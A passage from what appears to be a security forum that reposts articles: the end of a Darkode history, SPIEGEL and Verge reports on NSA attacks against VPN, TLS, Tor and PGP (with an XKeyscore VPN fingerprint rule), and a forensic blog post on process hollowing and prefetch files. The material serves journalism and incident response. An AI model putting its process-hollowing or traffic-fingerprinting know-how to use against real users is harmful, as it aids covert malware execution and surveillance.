meme. The forum began taking more an more precautions to root out security researcher, including mass demoting accounts, banning people who were unknown to them, embedding metadata to identify accounts used to post screenshots, even targeting the researchers directly (see here), all to no avail. Members were already getting edgy about posting with so many security researchers on the site, but it wasn't until sp3cial1st was voted for admin in 2013 that the final nail was driven into the darkode coffin. sp3cial1st's approach to researchers was proactive with a touch of paranoia, it started with banning their accounts, then banning the people who invited them, even banning the people who vouched for them, which caused members to stop inviting for fear of getting banned, of course the researchers still found a way back. With the new incredibly proactive anti-researcher strategy, researchers like Krebs would tease the admins with proof of their continued or re-gained access to the site, resulting in frequent pre-preemptive bans of just about any account that seemed remotely whitehat, I even personally witnessed legitimate cybercriminals getting banned for "being Brian Krebs". Before long, the only people on darkode were the admins, undercover FBI agents, security researchers, and a few highly trusted members. [h=2]Re-population Attempts[/h] With darkode on life support and still teaming with security researchers, the admin desperately tried to breath new life into the site. After giving out vast numbers of invite codes to the existing member failed, sp3cia1ist started posting threads on hackforums (a scriptkiddie hacking fourm), in order to obtain some interest, when that wasn't enough, he resulted to sending out spam messages embedded with darkode invites to mailing lists that'd been acquired from old hacking forums (this obviously made even the die-hard darkode members doubt their "prestigious" position). [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]darkode recruitment email[/TD] [/TR] [/TABLE] It was quite clear that darkode had had its day, but it just didn't stop there. The admin setup a public IRC server under irc.darkode.com where people could come to beg for invites, started posting replies to threads on any forum that made mention of darkode or private forums, even posting comments to entice people in the comment section of krebsonsecurity.com. [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]Sp3cial1st' advertising on hackforums[/TD] [/TR] [/TABLE] [h=2]Lizard Squad[/h] Even I can't explain how darkode got form where it was to here, but we can assume it was for publicity. Around the time LizardSquad became well known by DDoSing just about anything and everything, they decided to follow the same route as lulzsec(setting up a public IRC channel on freenode), unfortunately freenode was having none of this and and banned them, along with everyone in their channel, a few days later. The same week, LizardSquad had relocated to the darkode IRC, which the darkode admin appears to be fine with, he even allowed LizardSquad to spam the darkode url all-over the internet, something that was previously forbidden. Of course, sharing an IRC only implies the darkode admin tolerated LizardSquad but may not have worked with them. I had noticed that lizardpatrol.com (the official LizardSquad website) was hidden behind cloudflare, so on a hunch I send a HTTP request to the darkode server, with the hostname set to "lizardpatrol.com", and what would you know! That's right, the darkode server is also hosting the official LizardSquad website, oh dear. Sursa: Darkode - Ode to LizardSquad (The Rise and Fall of a Private Community) | MalwareTech

Pentru cei care stiu despre ce e vorba. Download: http://mis.fortunecook.ie/too-many-cooks-exploiting-tr069_tal-oppenheim_31c3.pdf

OTP VPN exploitation team Download: http://www.spiegel.de/media/media-35515.pdf Authors: NSA

Prying Eyes: Inside the NSA's War on Internet Security By SPIEGEL Staff DPA/ NSA The NSA's headquarters in Fort Meade, Maryland: The US foreign intelligence agency views all encrypted communications as a "threat" to its operations. US and British intelligence agencies undertake every effort imaginable to crack all types of encrypted Internet communication. The cloud, it seems, is full of holes. The good news: New Snowden documents show that some forms of encryption still cause problems for the NSA. When Christmas approaches, the spies of the Five Eyes intelligence services can look forward to a break from the arduous daily work of spying. In addition to their usual job -- attempting to crack encryption all around the world -- they play a game called the "Kryptos Kristmas Kwiz," which involves solving challenging numerical and alphabetical puzzles. The proud winners of the competition are awarded "Kryptos" mugs. Encryption -- the use of mathematics to protect communications from spying -- is used for electronic transactions of all types, by governments, firms and private users alike. But a look into the archive of whistleblower Edward Snowden shows that not all encryption technologies live up to what they promise. One example is the encryption featured in Skype, a program used by some 300 million users to conduct Internet video chat that is touted as secure. It isn't really. "Sustained Skype collection began in Feb 2011," reads a National Security Agency (NSA) training document from the archive of whistleblower Edward Snowden. Less than half a year later, in the fall, the code crackers declared their mission accomplished. Since then, data from Skype has been accessible to the NSA's snoops. Software giant Microsoft, which acquired Skype in 2011, said in a statement: "We will not provide governments with direct or unfettered access to customer data or encryption keys." The NSA had been monitoring Skype even before that, but since February 2011, the service has been under order from the secret US Foreign Intelligence Surveillance Court (FISC), to not only supply information to the NSA but also to make itself accessible as a source of data for the agency. The "sustained Skype collection" is a further step taken by the authority in the arms race between intelligence agencies seeking to deny users of their privacy and those wanting to ensure they are protected. There have also been some victories for privacy, with certain encryption systems proving to be so robust they have been tried and true standards for more than 20 years. For the NSA, encrypted communication -- or what all other Internet users would call secure communication -- is "a threat". In one internal training document viewed by SPIEGEL, an NSA employee asks: "Did you know that ubiquitous encryption on the Internet is a major threat to NSA's ability to prosecute digital-network intelligence (DNI) traffic or defeat adversary malware?" Snipped from NSA document: Encryption considered a "threat" The Snowden documents reveal the encryption programs the NSA has succeeded in cracking, but, importantly, also the ones that are still likely to be secure. Although the documents are around two years old, experts consider it unlikely the agency's digital spies have made much progress in cracking these technologies. "Properly implemented strong crypto systems are one of the few things that you can rely on," Snowden said in June 2013, after fleeing to Hong Kong. The digitization of society in the past several decades has been accompanied by the broad deployment of cryptography, which is no longer the exclusive realm of secret agents. Whether a person is conducting online banking, Internet shopping or making a phone call, almost every Internet connection today is encrypted in some way. The entire realm of cloud computing -- that is of outsourcing computing tasks to data centers somewhere else, possibly even on the other side of the globe -- relies heavily on cryptographic security systems. Internet activists even hold crypto parties where they teach people who are interested in communicating securely and privately how to encrypt their data. German officials suggest "consistent encryption" In Germany, concern about the need for strong encryption goes right up to the highest levels of the government. Chancellor Angela Merkel and her cabinet now communicate using phones incorporating strong encryption. The government has also encouraged members of the German public to take steps to protect their own communication. Michael Hange, the president of the Federal Office for Information Security, has stated: "We suggest cryptography -- that is, consistent encryption." It's a suggestion unlikely to please some intelligence agencies. After all, the Five Eyes alliance -- the secret services of Britain, Canada, Australia, New Zealand and the United States -- pursue a clear goal: removing the encryption of others on the Internet wherever possible. In 2013, the NSA had a budget of more than $10 billion. According to the US intelligence budget for 2013, the money allocated for the NSA department called Cryptanalysis and Exploitation Services (CES) alone was $34.3 million. Last year, the Guardian, New York Times and ProPublica reported on the contents of a 2010 presentation on the NSA's BULLRUN decryption program, but left out many specific vulnerabilities. The presentation states that, "for the past decade, NSA has led an aggressive, multipronged effort to break widely used Internet encryption technologies," and "vast amounts of encrypted Internet data which have up till now been discarded are now exploitable." Decryption, it turns out, works retroactively - once a system is broken, the agencies can look back in time in their databases and read stuff they could not read before. The number of Internet users concerned about privacy online has risen dramatically since the first Snowden revelations. But people who consciously use strong end-to-end encryption to protect their data still represent a minority of the Internet-using population. There are a number of reasons for this: Some believe encryption is too complicated to use. Or they think the intelligence agency experts are already so many steps ahead of them that they can crack any encryption program. Still Safe from the NSA This isn't true. As one document from the Snowden archive shows, the NSA had been unsuccessful in attempts to decrypt several communications protocols, at least as of 2012. An NSA presentation for a conference that took place that year lists the encryption programs the Attacks against Crypto Guide for Analysts on how to use the PRISM Skype Collection GCHQ Briefing on the BULLRUN Program GCHQ Presentation on the BULLRUN Programs Decryption Capabilities NSA LONGHAUL program for end-to-end attack orchestration and key recovery service BLUESNORT program on "Net Defense" from Encrypted Communications Presentation from the SIGDEV Conference 2012 explaining which encryption protocols and techniques can be attacked and which not NSA program SCARLETFEVER explaining how attacks on encrypted connections are orchestrated Description of VOIP Telephony Encryption methods and cryptanalytic and other ways to attack Americans failed to crack. In the process, the NSA cryptologists divided their targets into five levels corresponding to the degree of the difficulty of the attack and the outcome, ranging from "trivial" to "catastrophic." Monitoring a document's path through the Internet is classified as "trivial." Recording Facebook chats is considered a "minor" task, while the level of difficulty involved in decrypting emails sent through Moscow-based Internet service provider "mail.ru" is considered "moderate." Still, all three of those classifications don't appear to pose any significant problems for the NSA. Things first become troublesome at the fourth level. The presentation states that the NSA encounters "major" problems in its attempts to decrypt messages sent through heavily encrypted email service providers like Zoho or in monitoring users of the Tor network*, which was developed for surfing the web anonymously. Tor, otherwise known as The Onion Router, is free and open source software that allows users to surf the web through a network of more than 6,000 linked volunteer computers. The software automatically encrypts data in a way that ensures that no single computer in the network has all of a user's information. For surveillance experts, it becomes very difficult to trace the whereabouts of a person who visits a particular website or to attack a specific person while they are using Tor to surf the Web. Cryptanalytics General Description how NSA handles encrypted traffic Intercept with PGP encrypted message Classification Guide for Cryptanalysis Procedural GCHQ Document on how analysts are to handle encrypted traffic NSA / GCHQ Crypt Discovery Joint Collaboration Activity NSA Cryptographic Modernization (CryptoMod) Classification Guide "National Information Assurance Research Laboratory (NIARL)": Newsletter, Keyword TUNDRA What Your Mother Never Told You About the development of Signal Intelligence Intercept with OTR encrypted chat The NSA also has "major" problems with Truecrypt, a program for encrypting files on computers. Truecrypt's developers stopped their work on the program last May, prompting speculation about pressures from government agencies. A protocol called Off-the-Record (OTR) for encrypting instant messaging in an end-to-end encryption process also seems to cause the NSA major problems. Both are programs whose source code can be viewed, modified, shared and used by anyone. Experts agree it is far more difficult for intelligence agencies to manipulate open source software programs than many of the closed systems developed by companies like Apple and Microsoft. Since anyone can view free and open source software, it becomes difficult to insert secret back doors without it being noticed. Transcripts of intercepted chats using OTR encryption handed over to the intelligence agency by a partner in Prism -- an NSA program that accesses data from at least nine American internet companies such as Google, Facebook and Apple -- show that the NSA's efforts appear to have been thwarted in these cases: "No decrypt available for this OTR message." This shows that OTR at least sometimes makes communications impossible to read for the NSA. Things become "catastrophic" for the NSA at level five - when, for example, a subject uses a combination of Tor, another anonymization service, the instant messaging system CSpace and a system for Internet telephony (voice over IP) called ZRTP. This type of combination results in a "near-total loss/lack of insight to target communications, presence," the NSA document states. ZRTP, which is used to securely encrypt conversations and text chats on mobile phones, is used in free and open source programs like RedPhone and Signal. "It's satisfying to know that the NSA considers encrypted communication from our apps to be truly opaque," says RedPhone developer Moxie Marlinspike. Too Robust for Fort Meade Also, the "Z" in ZRTP stands for one of its developers, Phil Zimmermann, the same man who created Pretty Good Privacy, which is still the most common encryption program for emails and documents in use today. PGP is more than 20 years old, but apparently it remains too robust for the NSA spies to crack. "No decrypt available for this PGP encrypted message," a further document viewed by SPIEGEL states of emails the NSA obtained from Yahoo. Phil Zimmermann wrote PGP in 1991. The American nuclear weapons freeze activist wanted to create an encryption program that would enable him to securely exchange information with other like-minded individuals. His system quickly became very popular among dissidents around the world. Given its use outside the United States, the US government launched an investigation into Zimmermann during the 1990s for allegedly violating the Arms Export Control Act. Prosecutors argued that making encryption software of such complexity available abroad was illegal. Zimmermann responded by publishing the source code as a book, an act that was constitutionally protected as free speech. PGP continues to be developed and various versions are available today. The most widely used is GNU Privacy Guard (GnuPG), a program developed by German programmer Werner Koch. One document shows that the Five Eyes intelligence services sometimes use PGP themselves. The fact is that hackers obsessed with privacy and the US authorities have a lot more in common than one might initially believe. The Tor Project*, was originally developed with the support of the US Naval Research Laboratory. Deanonymizing Explanation of a potential technique to deanonymise users of the TOR network Analytics on security of TOR hidden services Overview on Internet Anonymization Services on how they work TOR deanonymisation research TOR Overview of Existing Techniques A potential technique to deanonymise users of the TOR network Today, NSA spies and their allies do their best to subvert the system their own military helped conceive, as a number of documents show. Tor deanonymization is obviously high on the list of NSA priorities, but the success achieved here seems limited. One GCHQ document from 2011 even mentions trying to decrypt the agencies' own use of Tor -- as a test case. To a certain extent, the Snowden documents should provide some level of relief to people who thought nothing could stop the NSA in its unquenchable thirst to collect data. It appears secure channels still exist for communication. Nevertheless, the documents also underscore just how far the intelligence agencies already go in their digital surveillance activities. Internet security comes at various levels -- and the NSA and its allies obviously are able to "exploit" -- i.e. crack -- several of the most widely used ones on a scale that was previously unimaginable. VPN Security only Virtual One example is virtual private networks (VPN), which are often used by companies and institutions operating from multiple offices and locations. A VPN theoretically creates a secure tunnel between two points on the Internet. All data is channeled through that tunnel, protected by cryptography. When it comes to the level of privacy offered here, virtual is the right word, too. This is because the NSA operates a large-scale VPN exploitation project to crack large numbers of connections, allowing it to intercept the data exchanged inside the VPN -- including, for example, the Greek government's use of VPNs. The team responsible for the exploitation of those Greek VPN communications consisted of 12 people, according to an NSA document SPIEGEL has seen. Attacks on VPN NSA High Level Description on TURMOIL / APEX Programs on Attacking VPN Explanation of the GALLANTWAVE that decrypts VPN Traffic within LONGHAUL Intro to the VPN Exploitation Process mentioning the protocols attacked - PPTP, IPSEC, SSL, SSH) Analytic Challenges from Active-Passive Integration when NSA attacks IPSEC VPNs Overview of the capabilities of the VALIANTSURF program MALIBU Architecture Overview to exploit VPN Communication POISENNUT Virtual Private Network Attack Orchestrator (VAO) NSA Presentation on the development of Attacks on VPN NSA Presentation on the Analysis and Contextualisation of data from VPN Description of existing projects on VPN decryption Explanation of the Transform Engine Emulator when attacking VPN Explanation of the POISENNUT Product and its role when attacking VPN Explanation of the TURMOIL GALLANTWAVE Program and its role when attacking VPN Processing of data from exploited VPN in the TURMOIL program Decryption of VPN Connections within the VALIANTSURF program Description on the processing of VPN data packets within the TURMOIL program Explanation on the SPIN9 program on end-to-end attacks on VPN The NSA also targeted SecurityKiss, a VPN service in Ireland. The following fingerprint for Xkeyscore, the agency's powerful spying tool, was reported to be tested and working against the service: fingerprint('encryption/securitykiss/x509') = $pkcs and ( ($tcp and from_port(443)) or ($udp and (from_port(123) or from_por (5000) or from_port(5353)) ) ) and (not (ip_subnet('10.0.0.0/8' or '172.16.0.0/12' or '192.168.0.0/16' )) ) and 'RSA Generated Server Certificate'c and 'Dublin1'c and 'GL CA'c; According to an NSA document dating from late 2009, the agency was processing 1,000 requests an hour to decrypt VPN connections. This number was expected to increase to 100,000 per hour by the end of 2011. The aim was for the system to be able to completely process "at least 20 percent" of these requests, meaning the data traffic would have to be decrypted and reinjected. In other words, by the end of 2011, the NSA's plans called for simultaneously surveilling 20,000 supposedly secure VPN communications per hour. VPN connections can be based on a number of different protocols. The most widely used ones are called Point-to-Point Tunneling Protocol (PPTP) and Internet Protocol Security (Ipsec). Both seem to pose few problems for the NSA spies if they really want to crack a connection. Experts have considered PPTP insecure for some time now, but it is still in use in many commercial systems. The authors of one NSA presentation boast of a project called FOURSCORE that stores information including decrypted PPTP VPN metadata. Using a number of different programs, they claim to have succeeded in penetrating numerous networks. Among those surveilled were the Russian carrier Transaero Airlines, Royal Jordanian Airlines as well as Moscow-based telecommunications firm Mir Telematiki. Another success touted is the NSA's surveillance of the internal communications of diplomats and government officials from Afghanistan, Pakistan and Turkey. Ipsec as a protocol seems to create slightly more trouble for the spies. But the NSA has the resources to actively attack routers involved in the communication process to get to the keys to unlock the encryption rather than trying to break it, courtesy of the unit called Tailored Access Operations: "TAO got on the router through which banking traffic of interest flows," it says in one presentation. Anything But Secure Even more vulnerable than VPN systems are the supposedly secure connections ordinary Internet users must rely on all the time for Web applications like financial services, e-commerce or accessing webmail accounts. A lay user can recognize these allegedly secure connections by looking at the address bar in his or her Web browser: With these connections, the first letters of the address there are not just http -- for Hypertext Transfer Protocol -- but https. The "s" stands for "secure". The problem is that there isn't really anything secure about them. Attacks on SSL/TLS NSA Experiment for massive SSL/TLS Decryption Canadian Document from CES on TLS Trends Details on how NSA uses the SCARLETFEVER program to attack Scure Sockets Layer (SSL)/Transport Layer Scurity (TLS) Analysis from SSL/TLS Connections through GCHQ in the flying pig database The NSA and its allies routinely intercept such connections -- by the millions. According to an NSA document, the agency intended to crack 10 million intercepted https connections a day by late 2012. The intelligence services are particularly interested in the moment when a user types his or her password. By the end of 2012, the system was supposed to be able to "detect the presence of at least 100 password based encryption applications" in each instance some 20,000 times a month. For its part, Britain's GCHQ collects information about encryption using the TLS and SSL protocols -- the protocols https connections are encrypted with -- in a database called "FLYING PIG." The British spies produce weekly "trends reports" to catalog which services use the most SSL connections and save details about those connections. Sites like Facebook, Twitter, Hotmail, Yahoo and Apple's iCloud service top the charts, and the number of catalogued SSL connections for one week is in the many billions -- for the top 40 sites alone. Hockey sites monitored Canada's Communications Security Establishment (CSEC) even monitors sites devoted to the country's national pastime: "We have noticed a large increase in chat activity on the hockeytalk sites. This is likely due to the beginning of playoff season," it says in one presentation. The NSA also has a program with which it claims it can sometimes decrypt the Secure Shell protocol (SSH). This is typically used by systems administrators to log into employees' computers remotely, largely for use in the infrastructure of businesses, core Internet routers and other similarly important systems. The NSA combines the data collected in this manner with other information to leverage access to important systems of interest. Weakening Cryptographic Standards But how do the Five-Eyes agencies manage to break all these encryption standards and systems? The short answer is: They use every means available. One method is consciously weakening the cryptographic standards that are used to implement the respective systems. Documents seen by SPIEGEL show that NSA agents travel to the meetings of the Internet Engineering Task Force (IETF), an organization that develops such standards, to gather information but presumably also to influence the discussions there. "New session policy extensions may improve our ability to passively target two sided communications," says a brief write-up of an IETF meeting in San Diego on an NSA-internal Wiki. This process of weakening encryption standards has been going on for some time. A classification guide, a document that explains how to classify certain types of secret information, labels "the fact that NSA/CSS makes cryptographic modifications to commercial or indigenous cryptographic information security devices or systems in order to make them exploitable" as Top Secret. NSA classification guide: "Cryptographic modifications" Cryptographic systems actively weakened this way or faulty to begin with are then exploited using supercomputers. The NSA maintains a system called Longhaul, an "end-to-end attack orchestration and key recovery service for Data Network Cipher and Data Network Session Cipher traffic." Basically, Longhaul is the place where the NSA looks for ways to break encryption. According to an NSA document, it uses facilities at the Tordella Supercomputer Building at Fort Meade, Maryland, and Oak Ridge Data Center in Oak Ridge, Tennessee. It can pass decrypted data to systems such as Turmoil -- a part of the secret network the NSA operates throughout the world, used to siphon off data. The cover term for the development of these capabilities is Valientsurf. A similar program called Gallantwave is meant to "break tunnel and session ciphers." In other cases, the spies use their infrastructure to steal cryptographic keys from the configuration files found on Internet routers. A repository called Discoroute contains "router configuration data from passive and active collection" one document states. Active here means hacking or otherwise infiltrating computers, passive refers to collecting data flowing through the Internet with secret NSA-operated computers. An important part of the Five Eyes' efforts to break encryption on the Internet is the gathering of vast amounts of data. For example, they collect so-called SSL handshakes -- that is, the first exchanges between two computers beginning an SSL connection. A combination of metadata about the connections and metadata from the encryption protocols then help to break the keys which in turn allow reading or recording the now decrypted traffic. If all else fails, the NSA and its allies resort to brute force: They hack their target's computers or Internet routers to get to the secret encryption -- or they intercept computers on the way to their targets, open them and insert spy gear before they even reach their destination, a process they call interdiction. A Grave Threat to Security For the NSA, the breaking of encryption methods represents a constant conflict of interest. The agency and its allies do have their own secret encryption methods for internal use. But the NSA is also tasked with providing the US National Institute of Standards and Technology (NIST) with "technical guidelines in trusted technology" that may be "used in cost-effective systems for protecting sensitive computer data." In other words: Checking cryptographic systems for their value is part of the NSA's job. One encryption standard the NIST explicitly recommends is the Advanced Encryption Standard (AES). The standard is used for a large variety of tasks, from encrypting the PIN numbers of banking cards to hard disk encryption for computers. One NSA document shows that the agency is actively looking for ways to break the very standard it recommends - this section is marked as "Top Secret" (TS): "Electronic codebooks, such as the Advanced Encryption Standard, are both widely used and difficult to attack cryptanalytically. The NSA has only a handful of in-house techniques. The TUNDRA project investigated a potentially new technique -- the Tau statistic -- to determine its usefulness in codebook analysis." The fact that large amounts of the cryptographic systems that underpin the entire Internet have been intentionally weakened or broken by the NSA and its allies poses a grave threat to the security of everyone who relies on the Internet -- from individuals looking for privacy to institutions and companies relying on cloud computing. Many of these weaknesses can be exploited by anyone who knows about them -- not just the NSA. Inside the intelligence community, this danger is widely known: According to a 2011 document, 832 individuals at GCHQ alone were briefed into the BULLRUN project, whose goal is a large-scale assault on Internet security. By Jacob Appelbaum, Aaron Gibson, Christian Grothoff, Andy Müller-Maguhn, Laura Poitras, Michael Sontheimer and Christian Stöcker * Two co-authors of this article, Jacob Appelbaum and Aaron Gibson, work on the Tor-Project. Appelbaum also works on the OTR project, as well as contributing to other encryption programs. Sursa: Inside the NSA's War on Internet Security - SPIEGEL ONLINE

New documents reveal which encryption tools the NSA couldn't crack By Russell Brandom on December 28, 2014 06:23 pm Email @russellbrandom Thanks to Edward Snowden, we're getting a new look at which programs can successfully keep out the NSA. A report in Der Spiegel has shed new light on the NSA's encryption-breaking programs, and put a spotlight on the handful of programs that are still giving them trouble. The findings, based on leaked documents, were also presented onstage at the Chaos Computer Club Conference in Hamburg by researcher Jacob Appelbaum and Laura Poitras, who took the findings as a call to action. "We really wanted to have some of these answers for fifteen years," Appelbaum told the crowd. The reports describe "major problems" following users across the Tor network The most impressive news to come out of the dump is that, as of 2012, certain emails and chats were still indecipherable by the NSA database when they had been encrypted with the right tools. Reports describe "major problems" following users across the Tor network, or deciphering messages sent through heavily encrypted email providers like Zoho. The agency reported similar problems when deciphering files that had been encrypted with TrueCrypt, an open-source disk-encryption program that was discontinued earlier this year. PGP encryption tools and OTR chat encryption also caused major problems for the agency, causing entire messages to disappear from the system, leaving only the message: "No decrypt available for this PGP encrypted message." "No decrypt available for this PGP encrypted message." Not every service fared so well. Following a particular file across the web is marked as "trivial," while decrypting emails sent through the Russian mail service "Mail.ru" is marked as "moderate." Virtual private networks also offer little protection: documents show the NSA planning the capacity to surveil 20,000 VPN connections per hour. Perhaps most alarming, the NSA seems to have completely circumvented the HTTPS system, which is used to secure connections between websites and browsers. By late 2012, the agency expected to be able to intercept 10 million HTTPS connections per day. This also doesn't mean PGP and Tor users are completely inaccessible. Law enforcement has performed successful attacks on Tor using a variety of tactics, and even the most impressive encryption tool can't get around a local malware infection. The age of the documents has also raised concerns: documents from 2012 show the NSA struggling to crack the AES encryption standard — one of the most widely used standards in cryptography — and some observers are worried that the NSA's efforts may have succeeded in the two years since. For security experts, the result is a mixed bag. Many of the cracked standards were already known to be faulty, so the news of widespread HTTPS circumvention is alarming, but not entirely surprising. At the same time, anyone depending on PG or Tor to throw off surveillance should be relieved to find evidence that the tools have often succeeded in doing just that. But for Appelbaum, the broader lesson was the ongoing fight between government surveillance and private communications. "During the crypto wars, we thought that we had won.... We thought that with cryptography we could change the entire balance," Appelbaum said. "We can say now that the first crypto wars were not won. If anything they were lost, or they're still going on now." Sursa: New documents reveal which encryption tools the NSA couldn't crack | The Verge

[h=2]Prefetch File Meet Process Hollowing[/h] Wednesday, December 17, 2014 Posted by Corey Harrell There are times when you are doing research and you notice certain behavior. You may had been aware about the behavior but you never consider the impact it has on other artifacts we depend on during our digital forensic and incident response examinations. After thinking about and researching the behavior and impact, it makes complete sense; so much so it's pretty obvious after the fact. In this post I'm exploring one such behavior and its impact I came across researching systems impacted by the Poweliks fileless malware. Specifically, how creating a suspended process and injecting code into it impacts the process's prefetch file. The statement below is the short version describing the impact injecting code into a suspended process has on its prefetch file. For those wanting the details behind it the rest of the post explains it. If the CreateProcess function creates a process in the suspended state and code gets injected into the process. The prefetch file for that process will contain the trace for the injected code and not the original process. Therefore, the prefetch file can be an indicator showing this technique was used. [h=2]Process Hollowing Technique[/h] Malware uses various techniques to covertly execute code on systems. One such technique is process hollowing, which is also known as process replacement. The book Practical Malware Analysis states the following in regards to this technique: "Process replacement is used when a malware author wants to disguise malware as a legitimate process, without the risk of crashing a process through the use of process injection. Key to process replacement is creating a process in a suspended state. This means that the process will be loaded into memory, but the primary thread of the process is suspended. The program will not do anything until an external program resumes the primary thread, causing the program to start running" In addition, the book The Art of Memory Forensics states the following: "A malicious process starts a new instance of a legitimate process (such as lsass.exe) in suspended mode. Before resuming it, the executable section( s) are freed and reallocated with malicious code." In essence, process hollowing is when a process is started in the suspended state, code is injected into the process to overwrite the original data, and when the process is resumed the injected code is executed. In a future post I will go into greater detail about this technique but for this post I wanted to keep the description at a high level. [h=2]Windows Internals Information[/h] To fully explore the process hollowing behavior on a Windows system and its impact on the prefetch file it is necessary to understand Windows internals. Specifically, when and why prefetch files are created and how processes are created. [h=3]Windows Prefetcher Information[/h] Prefetch files are a well known and understood artifact within the DFIR field. These files are a byproduct of the Windows operating system trying to speed up either the boot process or applications startup. The book Windows Internals, Part 2: Covering Windows Server 2008 R2 and Windows 7 states the following: "The prefetcher tries to speed the boot process and application startup by monitoring the data and code accessed by boot and application startups and using that information at the beginning of a subsequent boot or application startup to read in the code and data." As it relates to application prefetch files the book continues by saying: "The prefetcher monitors the first 10 seconds of application startup." The information the prefetcher monitors is explained as follows: "The trace assembled in the kernel notes faults taken on the NTFS master file table (MFT) metadata file (if the application accesses files or directories on NTFS volumes), on referenced files, and on referenced directories." In essence, if the prefetcher is enabled on a Windows systems then the first 10 seconds of execution is monitored to determine what files and directories the application accesses. This information (or trace) is then recorded in a prefetch file located inside the C:\Windows\Prefetch directory. [h=3]Windows Flow of Process Creation[/h] Knowing about process hollowing and prefetching is not enough. It's necessary to understand the flow of process creation in order to see the various activities that occur when a process is created. The book Windows Internals, Part 1: Covering Windows Server 2008 R2 and Windows 7 goes into great detail about process creation and below are the main stages: 1. Validate parameters; convert Windows subsystem flags and options to their native counterparts; parse, validate, and convert the attribute list to its native counterpart. 2. Open the image file (. exe) to be executed inside the process. 3. Create the Windows executive process object. 4. Create the initial thread (stack, context, and Windows executive thread object). 5. Perform post-creation, Windows-subsystem-specific process initialization. 6. Start execution of the initial thread (unless the CREATE_ SUSPENDED flag was specified). 7. In the context of the new process and thread, complete the initialization of the address space (such as load required DLLs) and begin execution of the program. The picture below illustrates the process creation main stages: The main stages highlight a very important point as it relates to process hollowing. When the a process is created it doesn't start executing until Stage 7. If the process is created in a suspended state then the first 6 stages are completed. The question is when does the prefetcher come into play. The book Windows Internals Part 1 states the following activity occurs in stage 7: "Otherwise, the routine checks whether application prefetching is enabled on the system and, if so, calls the prefetcher (and Superfetch) to process the prefetch instruction file (if it exists) and prefetch pages referenced during the first 10 seconds the last time the process ran." This is very important so it is worth repeating. The prefetcher monitoring application startup occurs in stage 7 when the application is executing. However, a process that is created in the suspended state does not execute until it is resumed. This means if the process hollowing technique is used then when the process resumes and executes the injected code the prefetcher is monitoring the files/directories accessed by the injected code and not the original process. In shorter words: If the CreateProcess function creates a process in the suspended state and code gets injected into the process. The prefetch file for that process will contain the trace for the injected code and not the original process. Therefore, the prefetch file can be an indicator showing this technique was used. [h=2]Process Hollowing Prefetch File[/h] It's always helpful to see what is being described in actual data to make it easier to how it applies to our examinations. To generate a prefetch file I double-clicked the svchost.exe executable located in the C:\Windows\Prefetch directory. Below is the partial output from this prefetch file being parsed with Harlan Carvey's pref.pl script in the WFA 4th edition book materials. (One note about the prefetch file; I added the underscore at the end to force the creation of a new prefetch file.) File : C:\Prefetch\SVCHOST_.EXE-3530F672.pf Exe Path : \DEVICE\HARDDISKVOLUME1\WINDOWS\SYSTEM32\SVCHOST.EXE Last Run : Wed Dec 17 20:58:57 2014 Run Count: 1 Module paths: \DEVICE\HARDDISKVOLUME1\WINDOWS\SYSTEM32\NTDLL.DLL \DEVICE\HARDDISKVOLUME1\WINDOWS\SYSTEM32\KERNEL32.DLL \DEVICE\HARDDISKVOLUME1\WINDOWS\SYSTEM32\UNICODE.NLS \DEVICE\HARDDISKVOLUME1\WINDOWS\SYSTEM32\LOCALE.NLS As shown above, the svchost.exe executed one time and some of the files accessed are reflected in the module paths section. I asked Harlan about where the executable path comes from in prefetch parsers since the prefetch file format does not record the executable path. He confirmed what I was assuming. Prefetch parsers search the module paths for the name of the executable referenced at offset 0x0010. Now let's take a look at the prefetch file for a svchost.exe process that was hollowed out. The Lab12-02.exe executable provided with Practical Malware Analysis performs process hollowing to the svchost.exe process. This can be seen performing dynamic analysis on the executable. The images below are from the executable being ran in Malwr. Lab12-02.exe first creates the svchost.exe process in the suspended state. Notice the creation flag of 0x00000004. Also, make note about the process handle to the suspended process (0x00000094). Lab12-02.exe then continues by injecting code into the suspended svchost.exe process. Lab12-02.exe finishes injecting code into the suspended svchost.exe process with the process handle 0x00000094 before it resumes the suspended process. Below is the partial output from this prefetch file being parsed with Harlan's pref.pl script. File : C:\ Prefetch\SVCHOST.EXE-3530F672.pf Exe Path : SVCHOST.EXE-3530F672.pf Last Run : Wed Dec 17 20:59:48 2014 Run Count: 1 Module paths: \DEVICE\HARDDISKVOLUME1\WINDOWS\SYSTEM32\NTDLL.DLL \DEVICE\HARDDISKVOLUME1\WINDOWS\SYSTEM32\KERNEL32.DLL \DEVICE\HARDDISKVOLUME1\WINDOWS\SYSTEM32\UNICODE.NLS \DEVICE\HARDDISKVOLUME1\WINDOWS\SYSTEM32\LOCALE.NLS It may not be obvious in the partial output but the files accessed by the injected code is different than the normal svchost.exe process. One of the more obvious files is what is not accessed; the original executable itself. Notice how the executable path contains the name of the prefetch file and this is due to the actual svchost.exe process not being accessed within 10 seconds of the injected code running. [h=3]Circling Back To Poweliks[/h] I mentioned previously that I noticed this behavior when researching the Poweliks fileless malware. This malware doesn't write its binary to disk since it stays in memory. The malware is not only not on the hard drive but other typical artifacts may not be present as well (such as the normal program execution artifacts.) In the near future I'll have a detailed post about how to triage systems impacted by this malware but I wanted highlight why the information I shared in this post matters. The screenshot below shows parsed prefetch files from a test system infected with a Poweliks dropper. My only clue to you is: one prefetch file is not like the others? There is one dllhost.exe prefetch file that has the missing process path. A closer inspection of this prefetch file reveals some other interesting file access during application start-up: During access start-up files associated with Internet activity were accessed in addition to the WININET.DLL dll for making HTTP requests. When Poweliks (or at least the samples I've reviewed) initially infects a computer it performs the following actions: rundll32.exe process starts the powershell.exe process that then starts a suspended dllhost.exe and injects code into it. Powershell.exe then resumes the dllhost.exe process that executes the Poweliks malicious code. The screenhots above illustrate the behavior of process hollowing performed by Poweliks and the impact on the dllhost.exe prefetch file. The above indication of the missing executable path in the dllhost.exe prefetch file is only for the initial infection when process hollowing is used. (The malicious code doesn't access the file it injects in once it executes) If Poweliks remains persistent and the system reboots the malicious code is still injected into dllhost.exe process but it doesn't appear to be process hollowing. These dllhost.exe prefetch files will contain the dllhost.exe executable path; along with the trace for suspicious file access as shown in the last screenshot. This is reflected in the second dllhost.exe prefetch file highlighted in the above screenshot. [h=2]Conclusion[/h] Uncovering behaviors during research is helpful to put something you take for granted in a different perspective. Process hollowing behaves in a specific way in the Windows operating system and it can impact prefetch files in a specific way. This impact can be used as an indicator to help explain what 